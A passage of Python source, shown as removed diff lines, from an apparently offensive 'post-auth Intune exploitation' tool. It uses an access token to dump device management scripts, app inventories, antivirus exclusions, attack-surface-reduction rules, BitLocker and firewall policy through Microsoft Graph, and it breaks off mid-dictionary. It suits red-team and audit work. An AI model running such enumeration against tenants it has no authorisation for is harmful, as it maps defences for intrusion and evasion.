graph_api_get(access_token, api_url, args) - print("=" * 80) - - - ################################# - # Post-Auth Intune Exploitation # - ################################# - - # dump-devicemanagementscripts - elif args.command and args.command.lower() == "dump-devicemanagementscripts": - print_yellow("\n[*] Dump-DeviceManagementScripts") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # dump-windowsapps - elif args.command and args.command.lower() == "dump-windowsapps": - print_yellow("\n[*] Dump-WindowsApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.win32CatalogApp%27)%20or%20isof(%27microsoft.graph.windowsStoreApp%27)%20or%20isof(%27microsoft.graph.microsoftStoreForBusinessApp%27)%20or%20isof(%27microsoft.graph.officeSuiteApp%27)%20or%20(isof(%27microsoft.graph.win32LobApp%27)%20and%20not(isof(%27microsoft.graph.win32CatalogApp%27)))%20or%20isof(%27microsoft.graph.windowsMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.windowsPhone81AppX%27)%20or%20isof(%27microsoft.graph.windowsPhone81StoreApp%27)%20or%20isof(%27microsoft.graph.windowsPhoneXAP%27)%20or%20isof(%27microsoft.graph.windowsAppX%27)%20or%20isof(%27microsoft.graph.windowsMobileMSI%27)%20or%20isof(%27microsoft.graph.windowsUniversalAppX%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.windowsWebApp%27)%20or%20isof(%27microsoft.graph.winGetApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - if args.id: - api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - json_data = response.json() - json_data.pop('@odata.context', None) - json_data.pop('assignments@odata.context', None) - for key, value in json_data.items(): - if key == 'assignments': - if not value: - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in value: - print(f" - ID: {assignment['id']}") - print(f" Intent: {assignment['intent']}") - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - print(f" Target:") - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print(" Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print(" Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Assigned to Group ID: {group_id}") - else: - print(f" {odata_type}: {target}") - print() - else: - print(f"{key}: {value}") - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - print("=" * 80) - return - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # dump-iosapps - elif args.command and args.command.lower() == "dump-iosapps": - print_yellow("\n[*] Dump-iOSApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.iosLobApp%27)%20or%20isof(%27microsoft.graph.iosStoreApp%27)%20or%20isof(%27microsoft.graph.iosVppApp%27)%20or%20isof(%27microsoft.graph.managedIOSLobApp%27)%20or%20(isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.iOSiPadOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # dump-macosapps - elif args.command and args.command.lower() == "dump-macosapps": - print_yellow("\n[*] Dump-macOSApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.macOSDmgApp%27)%20or%20isof(%27microsoft.graph.macOSPkgApp%27)%20or%20isof(%27microsoft.graph.macOSLobApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftDefenderApp%27)%20or%20isof(%27microsoft.graph.macOSOfficeSuiteApp%27)%20or%20isof(%27microsoft.graph.macOsVppApp%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.macOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # dump-androidapps - elif args.command and args.command.lower() == "dump-androidapps": - print_yellow("\n[*] Dump-AndroidApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20true)%20or%20isof(%27microsoft.graph.androidLobApp%27)%20or%20isof(%27microsoft.graph.androidStoreApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.managedAndroidLobApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20(isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20false)%20or%20isof(%27microsoft.graph.webApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-scriptcontent - elif args.command and args.command.lower() == "get-scriptcontent": - if not args.id: - print_red("[-] Error: --id argument is required for Get-ScriptContent command") - return - - print_yellow("\n[*] Get-ScriptContent") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" - - if args.select: - api_url += "&$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - json_data = response.json() - json_data.pop('@odata.context', None) - - script_content = json_data.get('scriptContent') - if script_content: - decoded_script_content = base64.b64decode(script_content).decode('utf-8') - json_data['scriptContent'] = decoded_script_content - - json_data.pop('scriptContent', None) - for key, value in json_data.items(): - print(f"{key} : {value}") - - if script_content: - print("scriptContent :\n") - print(decoded_script_content) - - except requests.exceptions.RequestException as ex: - print(f"[-] HTTP Error: {ex}") - print("=" * 80) - - # display-avpolicyrules - elif args.command and args.command.lower() == "display-avpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-AVPolicyRules command") - return - - print_yellow("\n[*] Display-AVPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_highseveritythreats": { - "description": "Remediation action for High severity threats", - "values": { - "4=1": "Clean (service tries to recover files and try to disinfect)", - "4=2": "Quarantine (moves files to quarantine)", - "4=3": "Remove (removes files from system)", - "4=6": "Allow (allows file/does none of the above actions)", - "4=8": "User defined (requires user to make a decision on which action to take)", - "4=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_lowseveritythreats": { - "description": "Remediation action for Low severity threats", - "values": { - "1=1": "Clean (service tries to recover files and try to disinfect)", - "1=2": "Quarantine (moves files to quarantine)", - "1=3": "Remove (removes files from system)", - "1=6": "Allow (allows file/does none of the above actions)", - "1=8": "User defined (requires user to make a decision on which action to take)", - "1=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_moderateseveritythreats": { - "description": "Remediation action for Moderate severity threats", - "values": { - "2=1": "Clean (service tries to recover files and try to disinfect)", - "2=2": "Quarantine (moves files to quarantine)", - "2=3": "Remove (removes files from system)", - "2=6": "Allow (allows file/does none of the above actions)", - "2=8": "User defined (requires user to make a decision on which action to take)", - "2=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_severethreats": { - "description": "Remediation action for Severe threats", - "values": { - "5=1": "Clean (service tries to recover files and try to disinfect)", - "5=2": "Quarantine (moves files to quarantine)", - "5=3": "Remove (removes files from system)", - "5=6": "Allow (allows file/does none of the above actions)", - "5=8": "User defined (requires user to make a decision on which action to take)", - "5=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_allowarchivescanning": { - "description": "Allow archive scanning", - "values": { - "0": "Not allowed (turns off scanning on archived files)", - "1": "Allowed (scans the archive files)" - } - }, - "device_vendor_msft_policy_config_defender_allowbehaviormonitoring": { - "description": "Allow behavior monitoring", - "values": { - "0": "Not allowed (turns off behavior monitoring)", - "1": "Allowed (turns on real-time behavior monitoring)" - } - }, - "device_vendor_msft_policy_config_defender_allowcloudprotection": { - "description": "Allow cloud protection", - "values": { - "0": "Not allowed (turns off Cloud Protection)", - "1": "Allowed (turns on Cloud Protection" - } - }, - "device_vendor_msft_policy_config_defender_allowemailscanning": { - "description": "Allow email scanning", - "values": { - "0": "Not allowed (turns off email scanning)", - "1": "Allowed (turns on email scanning)" - } - }, - "device_vendor_msft_policy_config_defender_allowfullscanonmappednetworkdrives": { - "description": "Allow full scan on mapped network drives", - "values": { - "0": "Not allowed (disables scanning on mapped network drives)", - "1": "Allowed (scans mapped network drives)" - } - }, - "device_vendor_msft_policy_config_defender_allowfullscanremovabledrivescanning": { - "description": "Allow full scan on removable drives", - "values": { - "0": "Not allowed (turns off scanning on removable drives)", - "1": "Allowed (scans removable drives)" - } - }, - "device_vendor_msft_policy_config_defender_allowintrusionpreventionsystem": { - "description": "Allow intrusion prevention system", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowioavprotection": { - "description": "Allow IOAV protection", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowrealtimemonitoring": { - "description": "Allow real-time monitoring", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowscanningnetworkfiles": { - "description": "Allow scanning network files", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowscriptscanning": { - "description": "Allow script scanning", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowuseruiaccess": { - "description": "Allow user UI access", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_checkforsignaturesbeforerunningscan": { - "description": "Check for signatures before running scan", - "values": { - "0": "Not required", - "1": "Required" - } - }, - "device_vendor_msft_policy_config_defender_cloudblocklevel": { - "description": "Cloud block level", - "values": { - "0": "Disabled", - "1": "Basic", - "2": "High" - } - }, - "device_vendor_msft_policy_config_defender_disablecatchupfullscan": { - "description": "Disable catch-up full scan", - "values": { - "0": "Enabled", - "1": "Disabled" - } - }, - "device_vendor_msft_policy_config_defender_disablecatchupquickscan": { - "description": "Disable catch-up quick scan", - "values": { - "0": "Enabled", - "1": "Disabled" - } - }, - "device_vendor_msft_policy_config_defender_enablelowcpupriority": { - "description": "Enable low CPU priority", - "values": { - "0": "Disabled", - "1": "Enabled" - } - }, - "device_vendor_msft_policy_config_defender_enablenetworkprotection": { - "description": "Enable network protection", - "values": { - "0": "Disabled", - "1": "Enabled" - } - }, - "device_vendor_msft_policy_config_defender_excludedextensions": { - "description": "Excluded extensions", - "values": {} - }, - "device_vendor_msft_policy_config_defender_excludedpaths": { - "description": "Excluded paths", - "values": {} - }, - "device_vendor_msft_policy_config_defender_excludedprocesses": { - "description": "Excluded processes", - "values": {} - }, - "device_vendor_msft_policy_config_defender_puaprotection": { - "description": "PUA protection", - "values": { - "0": "Disabled", - "1": "Enabled" - } - }, - "device_vendor_msft_policy_config_defender_realtimescandirection": { - "description": "Real-time scan direction", - "values": { - "0": "Both directions", - "1": "Inbound only", - "2": "Outbound only" - } - }, - "device_vendor_msft_policy_config_defender_scanparameter": { - "description": "Scan parameter", - "values": { - "0": "Quick scan", - "1": "Full scan" - } - } - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - if 'settingInstance' in setting: - setting_instance = setting['settingInstance'] - setting_id = setting_instance.get('settingDefinitionId', '') - - if setting_id in settings_map: - description = settings_map[setting_id]['description'] - - if setting_instance['@odata.type'] == '#microsoft.graph.deviceManagementConfigurationSimpleSettingCollectionInstance': - simple_setting_values = setting_instance.get('simpleSettingCollectionValue', []) - value_list = [simple_setting_value.get('value', '') for simple_setting_value in simple_setting_values if simple_setting_value.get('value')] - value = ', '.join(value_list) - print(f"{description} : {value}") - elif 'choiceSettingValue' in setting_instance: - value = setting_instance['choiceSettingValue'].get('value', '') - value_suffix = value[len(setting_id):].lstrip('_') - - if value_suffix in settings_map[setting_id]['values']: - mapped_value = settings_map[setting_id]['values'][value_suffix] - elif value_suffix == 'block': - mapped_value = 'BLOCK' - elif value_suffix == 'allow': - mapped_value = 'ALLOW' - else: - mapped_value = value_suffix.upper() - - print(f"{mapped_value:<10} : {description}") - - # group setting collection values - for setting in response_json.get('value', []): - if 'settingInstance' in setting and 'groupSettingCollectionValue' in setting['settingInstance']: - group_settings = setting['settingInstance']['groupSettingCollectionValue'] - for group_setting in group_settings: - for child in group_setting.get('children', []): - choice_setting_value = child.get('choiceSettingValue', {}) - value = choice_setting_value.get('value', '') - setting_id = child.get('settingDefinitionId', '') - - if setting_id in settings_map: - description = settings_map[setting_id]['description'] - value_suffix = value[len(setting_id):].lstrip('_') - - if value_suffix in settings_map[setting_id]['values']: - mapped_value = settings_map[setting_id]['values'][value_suffix] - elif value_suffix == 'block': - mapped_value = 'BLOCK' - elif value_suffix == 'allow': - mapped_value = 'ALLOW' - else: - mapped_value = value_suffix.upper() - - print(f"{mapped_value:<10} : {description}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - # display-asrpolicyrules - elif args.command and args.command.lower() == "display-asrpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-ASRPolicyRules command") - return - - print_yellow("\n[*] Display-ASRPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "blockadobereaderfromcreatingchildprocesses": "Block Adobe Reader from creating child processes", - "blockprocesscreationsfrompsexecandwmicommands": "Block process creations from PSExec and WMI commands", - "blockexecutionofpotentiallyobfuscatedscripts": "Block execution of potentially obfuscated scripts", - "blockpersistencethroughwmieventsubscription": "Block persistence through WMI event subscription", - "blockwin32apicallsfromofficemacros": "Block Win32 API calls from Office macros", - "blockofficeapplicationsfromcreatingexecutablecontent": "Block Office applications from creating executable content", - "blockcredentialstealingfromwindowslocalsecurityauthoritysubsystem": "Block credential stealing from Windows local security authority subsystem", - "blockexecutablefilesrunningunlesstheymeetprevalenceagetrustedlistcriterion": "Block executable files running unless they meet prevalence age trusted list criterion", - "blockjavascriptorvbscriptfromlaunchingdownloadedexecutablecontent": "Block JavaScript or VBScript from launching downloaded executable content", - "blockofficecommunicationappfromcreatingchildprocesses": "Block Office communication app from creating child processes", - "blockofficeapplicationsfrominjectingcodeintootherprocesses": "Block Office applications from injecting code into other processes", - "blockallofficeapplicationsfromcreatingchildprocesses": "Block all Office applications from creating child processes", - "blockwebshellcreationforservers": "Block web shell creation for servers", - "blockuntrustedunsignedprocessesthatrunfromusb": "Block untrusted unsigned processes that run from USB", - "useadvancedprotectionagainstransomware": "Use advanced protection against ransomware", - "blockexecutablecontentfromemailclientandwebmail": "Block executable content from email client and webmail", - "blockabuseofexploitedvulnerablesigneddrivers": "Block abuse of exploited vulnerable signed drivers" - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - if "value" in response_json: - for item in response_json["value"]: - setting_instance = item.get("settingInstance", {}) - group_settings = setting_instance.get("groupSettingCollectionValue", []) - - for group in group_settings: - children = group.get("children", []) - - for child in children: - choice_setting_value = child.get("choiceSettingValue", {}) - value = choice_setting_value.get("value", "") - - if value: - parts = value.split("_") - if len(parts) >= 2: - action = parts[-1].upper() - rule_name = "_".join(parts[:-1]) - rule_name = rule_name.replace("device_vendor_msft_policy_config_defender_attacksurfacereductionrules_", "") - readable_rule = settings_map.get(rule_name, rule_name) - print(f"{action:<6}: {readable_rule}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-diskencryptionpolicyrules - elif args.command and args.command.lower() == "display-diskencryptionpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-DiskEncryptionPolicyRules command") - return - - print_yellow("\n[*] Display-DiskEncryptionPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" #?$expand=settingDefinitions" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_bitlocker_fixeddrivesencryptiontype": "Enforce drive encryption type on fixed data drives", - "device_vendor_msft_bitlocker_fixeddrivesrecoveryoptions": "Choose how BitLocker-protected fixed drives can be recovered", - "device_vendor_msft_bitlocker_fixeddrivesrequireencryption": "Deny write access to fixed drives not protected by BitLocker", - "device_vendor_msft_bitlocker_systemdrivesencryptiontype": "Enforce drive encryption type on operating system drives", - "device_vendor_msft_bitlocker_systemdrivesrequirestartupauthentication": "Require additional authentication at startup", - "device_vendor_msft_bitlocker_systemdrivesminimumpinlength": "Configure minimum PIN length for startup", - "device_vendor_msft_bitlocker_systemdrivesenhancedpin": "Allow enhanced PINs for startup", - "device_vendor_msft_bitlocker_systemdrivesdisallowstandarduserscanchangepin": "Disallow standard users from changing the PIN or password", - "device_vendor_msft_bitlocker_systemdrivesenableprebootpinexceptionondecapabledevice": "Allow devices compliant with InstantGo or HSTI to opt out of pre-boot PIN", - "device_vendor_msft_bitlocker_systemdrivesenableprebootinputprotectorsonslates": "Enable use of BitLocker authentication requiring preboot keyboard input on slates", - "device_vendor_msft_bitlocker_systemdrivesrecoveryoptions": "Choose how BitLocker-protected operating system drives can be recovered", - "device_vendor_msft_bitlocker_systemdrivesrecoverymessage": "Configure pre-boot recovery message and URL", - "device_vendor_msft_bitlocker_removabledrivesconfigurebde": "Control use of BitLocker on removable drives", - "device_vendor_msft_bitlocker_removabledrivesrequireencryption": "Deny write access to removable drives not protected by BitLocker", - "device_vendor_msft_bitlocker_encryptionmethodbydrivetype": "Choose drive encryption method and cipher strength (Windows 10 [Version 1511] and later)", - "device_vendor_msft_bitlocker_identificationfield": "Provide the unique identifiers for your organization", - "device_vendor_msft_bitlocker_requiredeviceencryption": "Require Device Encryption", - "device_vendor_msft_bitlocker_allowwarningforotherdiskencryption": "Allow Standard User Encryption", - "device_vendor_msft_bitlocker_configurerecoverypasswordrotation": "Configure Recovery Password Rotation" - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: - value_field = setting['settingInstance']['choiceSettingValue'].get('value') - if value_field: - cleaned_value = value_field.rstrip('_01') - if cleaned_value in settings_map: - setting_text = settings_map[cleaned_value] - if value_field.endswith('_1'): - print(f"ENABLED : {setting_text}") - elif value_field.endswith('_0'): - print(f"DISABLED : {setting_text}") - else: - print(f"{setting_text} - {value_field}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-firewallconfigpolicyrules - firewall config policy - elif args.command and args.command.lower() == "display-firewallconfigpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for display-firewallconfigpolicyrules command") - return - - print_yellow("\n[*] Display-FirewallConfigPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "vendor_msft_firewall_mdmstore_global_crlcheck": { - "displayName": "Certificate revocation list verification", - "options": { - "vendor_msft_firewall_mdmstore_global_crlcheck_0": "None - Disables CRL checking", - "vendor_msft_firewall_mdmstore_global_crlcheck_1": "Attempt - checking is attempted and that certificate validation fails only if the certificate is revoked", - "vendor_msft_firewall_mdmstore_global_crlcheck_2": "Require - checking is required and that certificate validation fails if any error is encountered during CRL processing", - } - }, - "vendor_msft_firewall_mdmstore_global_disablestatefulftp": { - "displayName": "Disable Stateful Ftp", - "options": { - "vendor_msft_firewall_mdmstore_global_disablestatefulftp_false": "Stateful FTP enabled", - "vendor_msft_firewall_mdmstore_global_disablestatefulftp_true": "Stateful FTP disabled", - } - }, - "vendor_msft_firewall_mdmstore_global_enablepacketqueue": { - "displayName": "Enable Packet Queue", - "options": { - "vendor_msft_firewall_mdmstore_global_enablepacketqueue_0": "Disabled - Indicates that all queuing is to be disabled", - "vendor_msft_firewall_mdmstore_global_enablepacketqueue_1": "Queue Inbound - inbound encrypted packets are to be queued", - "vendor_msft_firewall_mdmstore_global_enablepacketqueue_2": "Queue Outbound - packets are to be queued after decryption is performed for forwarding", - } - }, - "vendor_msft_firewall_mdmstore_global_ipsecexempt": { - "displayName": "IPsec Exceptions", - "options": { - "vendor_msft_firewall_mdmstore_global_ipsecexempt_0": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NONE: No IPsec exemptions.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_1": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NEIGHBOR_DISC: Exempt neighbor discover IPv6 ICMP type-codes from IPsec.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_2": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ICMP: Exempt ICMP from IPsec.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_4": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ROUTER_DISC: Exempt router discover IPv6 ICMP type-codes from IPsec.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_8": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_DHCP: Exempt both IPv4 and IPv6 DHCP traffic from IPsec.", - } - }, - "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm": { - "displayName": "Opportunistically Match Auth Set Per KM", - "options": { - "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_false": "FALSE", - "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_global_presharedkeyencoding": { - "displayName": "Preshared Key Encoding", - "options": { - "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_0": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_NONE: Preshared key is not encoded. Instead, it is kept in its wide-character format. This symbolic constant has a value of 0.", - "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_1": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_UTF_8: Encode the preshared key using UTF-8. This symbolic constant has a value of 1.", - } - }, - "vendor_msft_firewall_mdmstore_global_saidletime": { - "displayName": "Security association idle time", - "options": {} - }, - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge": { - "displayName": "Allow Local Ipsec Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge": { - "displayName": "Auth Apps Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets": { - "displayName": "Enable Log Dropped Packets", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", - "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast": { - "displayName": "Disable Unicast Responses To Multicast Broadcast", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", - "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_shielded": { - "displayName": "Shielded", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_shielded_false": "Shielding Off", - "vendor_msft_firewall_mdmstore_domainprofile_shielded_true": "Shielding On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge": { - "displayName": "Allow Local Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction": { - "displayName": "Default Outbound Action", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_0": "Allow Outbound By Default", - "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_1": "Block Outbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules": { - "displayName": "Enable Log Ignored Rules", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", - "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications": { - "displayName": "Disable Inbound Notifications", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_false": "Firewall May Display Notification", - "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections": { - "displayName": "Enable Log Success Connections", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", - "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_logfilepath": { - "displayName": "Log File Path", - "options": {} - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall": { - "displayName": "Enable Domain Network Firewall", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_false": "Disable Firewall", - "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_true": "Enable Firewall", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_logmaxfilesize": { - "displayName": "Log Max File Size", - "options": {} - }, - "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge": { - "displayName": "Global Ports Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction": { - "displayName": "Default Inbound Action for Domain Profile", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_0": "Allow Inbound By Default", - 